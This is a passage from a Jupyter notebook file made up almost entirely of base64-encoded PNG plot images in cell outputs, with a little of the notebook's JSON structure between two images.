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\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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